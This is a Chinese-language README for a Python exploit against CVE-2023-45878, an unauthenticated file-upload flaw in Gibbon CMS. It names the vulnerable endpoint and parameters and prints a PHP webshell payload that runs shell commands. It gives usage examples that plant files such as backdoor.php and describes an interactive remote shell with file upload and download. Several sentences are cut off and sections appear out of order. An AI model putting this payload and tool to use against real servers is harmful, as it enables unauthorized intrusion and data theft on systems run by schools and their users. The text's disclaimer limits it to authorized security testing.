此 Python 脚本用于利用 CVE-2023-45878,该漏洞存在于 Gibbon CMS 25.0.1 及更早版本中,是一个未经验证的任意文件上传漏洞,可导致远程代码执行(RCE)。
CVE-2023-45878 存在于 Gibbon CMS 的 rubrics_visualise_saveAjax.php 端点中。该端点由于不需要身份验证且允许任意文件写入而存在漏洞。
该漏洞源于以下原因:
modules/Rubrics/rubrics_visualise_saveAjax.php 端点无需任何身份验证即可访问。img、path 和 gibbonPersonID 的 POST 参数。
img 参数预期包含特殊格式的数据,其中逗号后的部分是一个 base64 编码的字符串。path 参数(如果提供)将用作上传文件的目标文件名,相对于 Gibbon 安装目录。img 参数中的 base64 编码内容,并将其写入由 path 参数指定的文件。<?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>)的恶意 img 参数,并指定一个可通过 Web 服务器访问的 .php 文件的 path,攻击者可以上传 PHP webshell 并在易受攻击的服务器上实现远程代码执行。此 Python 脚本自动化了 CVE-2023-45878 的利用过程。它执行以下操作:
modules/Rubrics/rubrics_visualise_saveAjax.php,以上传一个 PHP webshell。Webshell 的有效负载为 <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>,其中 {VERIFY_TAG} 是一个可自定义的标签。有效负载经过 base64 编码后通过 img 参数发送。cmd=echo)的 GET 请求并检查响应中是否包含 VERIFY_TAG 来验证上传的 shell 是否可访问且功能正常。如果使用了 --verify 或 --interactive 选项,它还会对现有 shell 进行预检查。user@host:cwd$)。cd 命令以更改远程工作目录。!help:显示交互式命令的帮助信息。!upload <local_path> [remote_path]:通过 webshell 将本地文件上传到目标服务器。python3 exploit.py <target_url> [options]
参数:
target_url:目标 Gibbon CMS 实例的基本 URL。如果未提供协议,脚本将自动添加 http://,并确保结尾有斜杠(例如 http://example.com/gibbon 或 example.com/gibbon)。选项:
-s <shell_path>, --shell-path <shell_path>:
指定上传 shell 的目标路径和文件名(例如 shell.php、uploads/shell.php)。
如果省略,将在 Gibbon 基本目录中生成一个包含 8 个随机字符且扩展名为 .php 的文件名。
警告:确保指定的路径可由 Web 服务器写入且可通过 Web 访问。-v, --verify:
尝试上传 shell 后,验证其是否正常工作。此选项还会触发预检查,检查是否已存在具有指定名称和标签的 shell;如果已存在,则跳过上传。-i, --interactive:
进入交互式 Shell 模式。如果 shell 尚不存在(通过预检查验证),则会先上传并验证。-t <tag>, --tag <tag>:
指定用于 webshell 有效负载中验证的自定义静态标签。(默认值:ExploitGibbon)。--timeout <timeout>:
设置 HTTP 请求超时时间(秒)。(默认值:20)。示例:
基本漏洞利用,在 Gibbon 主目录中使用随机 shell 名称和默认标签:
python3 exploit.py http://target.com/gibbon/
漏洞利用,在 Gibbon 主目录中指定 shell 文件名 my_shell.php 并使用默认标签:
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
漏洞利用,将 shell 文件 backdoor.php 上传到 uploads/,验证它,并使用自定义标签:
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
漏洞利用,上传 shell,并以默认标签和 30 秒超时进入交互模式:
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
使用现有 shell 进入交互模式(脚本将预检查其存在性):
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
仅验证名为 existing_shell.php 且使用默认标签的 shell 是否处于活动状态(如果未找到,将尝试上传):
python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v
dataclasses、pathlib)requests 库:使用 pip install requests 安装rich 库:使用 pip install rich 安装prompt_toolkit 库(可选,用于增强的交互模式):使用 pip install prompt_toolkit 安装此脚本仅供教育和安全测试目的使用。使用风险自负,并且仅针对您拥有明确测试权限的系统。作者不对因使用此脚本而导致的任何误用或损害负责。未经授权利用漏洞是非法的且不道德。
!download <remote_path> [local_path]:从目标服务器下载文件。!lcd <path>:更改本地当前工作目录。!ldir [path]:列出本地当前工作目录或指定路径中的文件和目录。prompt_toolkit 库以获得增强的命令行体验(历史记录、更好的编辑功能),否则退回到 Python 的内置 input()。!upload 命令重用易受攻击的端点来写入任意文件,而 !download 使用通过 webshell 执行的系统命令(如 base64 或 PowerShell 的 [Convert]::ToBase64String)来检索文件内容。